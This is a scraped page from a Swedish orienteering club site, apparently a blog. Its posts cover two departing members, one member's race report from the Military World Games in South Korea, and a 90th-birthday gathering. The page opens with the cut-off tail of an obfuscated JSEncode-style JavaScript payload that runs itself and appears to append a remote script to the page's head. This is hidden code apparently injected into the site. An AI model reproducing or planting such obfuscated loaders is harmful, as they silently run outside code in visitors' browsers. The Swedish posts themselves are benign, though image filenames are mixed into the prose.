+”\\”+$.__$+$.$_$+$.__$+”.”+$.$_$$+”\\”+$.__$+$.$_$+$.__$+$.$$_$+”/\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”/\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.$$$+$.___+$.$_$_+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$$+$._$_+$._$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.___+$.$$_$+(![]+””)[$._$_]+”\\”+$.__$+$._$$+$.___+$._$_+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+$.___+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.___+$.$$$_+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$.___+$.$$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$___+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$$+$._$_+$.$$_$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$._$_+$.__+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$._$$+$.__+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$.$$$+$._$_+$._$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$__+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$._$_+$.$__+$._$+$._$_+”\\”+$.__$+$.__$+$._$$+”\\”+$.__$+$._$_+$.___+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$._$$+$.$$_$+”-\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$_$+$._$$+$.$_$$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$._$$+”-\\”+$.__$+$.$_$+$._$$+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.__$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$_$+$.$$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”_”+$.$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$.__$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.___+$.__$+$._+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.$_$+$._$_+$.$$__+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.$_$+$.$_$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.$$_+$.$$$+$.$_$_+”.\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”?”+$.__+”\\”+$.__$+$.$$_+$._$_+(![]+””)[$._$_]+”=”+$.___+”.”+$._$_+$.___+”’;\\”+$.__$+$._$_+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.\\”+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+”.”+$.$_$_+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.___+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.$$_$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.$_$+$.__$+(![]+””)[$._$_]+$.$$_$+”(”+$.$$$_+(![]+””)[$._$_]+”);”+”\””)())();

Två hemvändare packar väskorna

Fem år går fort, dags för Morten och Mats att packa väskorna. Tack för allt som ni tillfört Järlafamiljen och på det sätt ni bidragit till att utveckla Järla till en av världens bästa orienteringsklubbar.

Läs Morten och Mats egna ord på hemsidan.

mats 2

morten 2

Arvids äventyr på Militär-OS

12064079_1054090227945792_283109265_nHösten 2014 gjorde jag GMU (Grundläggande Militär Utbildning) i Karlsborg, därefter tog jag anställning och fortsatte min soldatutbildning under våren. Från flera håll fick jag höra att jag borde g
å med i orienteringssektionen i försvarsmakten så det gjorde jag. I maj åkte jag på nordiska militärmästerskapen i orientering i Danmark och sprang hyfsat bra. Sen i juni fick jag det roliga beskedet att jag skulle få åka på Military World Games i Sydkorea och jag började träningen inför det. Dessvärre så ramlade jag när
jag körde hinderbana och bröt handleden bland annat båtbenet vilket försvårade min träning efter det. Frågan var också om jag ens skulle kunna orientera men efter bra lopp på försvarsmästerskapen så kände jag att det var inga problem.

Torsdagen första oktober samlades alla svenskar på Arlanda för att flyga till Sydkorea och delta i Military World Games. Sverige deltog i 7 sporter där bland annat orientering, maraton och militär femkamp. Jag deltog såklart i orientering. Totalt deltog omkring 8000 deltagare! Framme i Seoul som är huvudstaden fick åka buss i 3 timmar för att ta oss till arenan där invigningen var. Invigningen var helt sjuk med massa framträdanden, t12167615_1054090211279127_1078693446_nyp som på OS. Efter det åkte vi till boendet och sov bort jetlaget. Eftersom vi inte skulle tävla förrän på onsdagen så körde jag intervaller på lördagen för att väcka kroppen och turistade på söndagen med att titta på buddistiska tempel. På måndagen hade vi orienteringsträning för att få känna på terrängen. Terrängen där vi var är det jättekuperat där man nästan måste dra sig upp med hjälp av träden för att komma upp och som grädde på moset så är det oframkomligt i skogen på grund av att det är mycket taggbuskar. Så lärdomen från träningen var att spring på stigar så mycket som möjligt. På tisdagen vilade och på onsdagen var det medeldistans. I flera andra länder är landslagslöparna anställda av militären för att kunna satsa som de vill. Det medför att bland annat Ryssland och Schweiz ställde upp med väldigt starka trupper. Medeldistansen var 4 km med 300 meters stigning och vinnartiden var 33 minuter. För min del så gick det inte så bra då jag gick ut för hårt och blev trött och gjorde några oförklarliga missar. Vann gjorde ryske Dimitri Tsvetkov.
Resultat medeldistans 
På torsdagen var det långdistans som var 9 km med 600 meters 12166973_1054090787945736_533537097_nstigning och en vinnartid på 86 minuter. Denna dag hade jag bestämt mig för att spara på krafterna för att orka hela vägen. Taktiken fungerade i kanske 4 km, sen blev jag jättetrött och fick slita för att ta mig runt banan. Vann gjorde schweizaren Mathias Kyburz.
På fredagen åkte vissa in till Seoul men jag stannade kvar på boendet och vilade och joggade mig pigg inför lördagens stafett där jag fick springa sista i Sveriges förstalag. Stafetten var inte lika kuperad som de tidigare tävlingarna så banan var 5,6km med 180 meters stigning och den bästa sprang på 38 minuter. Jag sprang ut som 12:a och höll min placering. Det var väldigt kul att springa med världseliten. På söndagen var det avslutningsceremoni som också var galen. På måndagen satte vi oss på flyget hem. Nu gäller det att ha en bra vinterträning för nästa år går militära orienterings-VM i Brasilien!12083755_10205221270148143_1825205209_n

Som att stiga in i Järlagårdens omklädningsrum på 90-talet…

Asplund i högsätet med Robban och Leffe bredvid sig. Erik, Tranan, Jonas Rodhe, Henke och även Olle syns på bilden.

Farsan, Ragge, fyllde nyligen 90 år.  Det bjöds på lite smått att äta och dricka för de som hade vägarna förbi. Denna gång utan någon rökfisk eller röding från Gäddede men däremot lokalproducerad getost från Kramfors (medskick från kusin).

Efter en lite lugn inledning ramlade det in ett rejält gäng Järlaiter och snart var farsans lilla kök lika trångt som på Järlagården. Nästan 25 personer trängdes och diskuterade laguttagningar och SM/VM-resultat kryddat med  berättelser om gamla tiders profiler och bravader. Allt med farsan i centrum och självklart med det bästa laget på 25-manna helt klart. Med alla gamla kämpar som dykt upp så var det som att komma in i omklädningsrummet på Järlagården någon gång på 90-talet. Samma personer och samma snack, nu även kryddat med lite nyare världsstjärnor.

Bäst att äta lite innan det kommer gäster...När krutröken lagt sig, getosten tagit slut och gästerna gått hem var det dags att se över alla fina presenter och gratulationer som kommit. Pappa vill därför genom mig rikta ett tack till alla som uppvaktat honom och även gett presenter/blommor.

Ett stort tack till er alla säger Ragge genom sonen Jonas.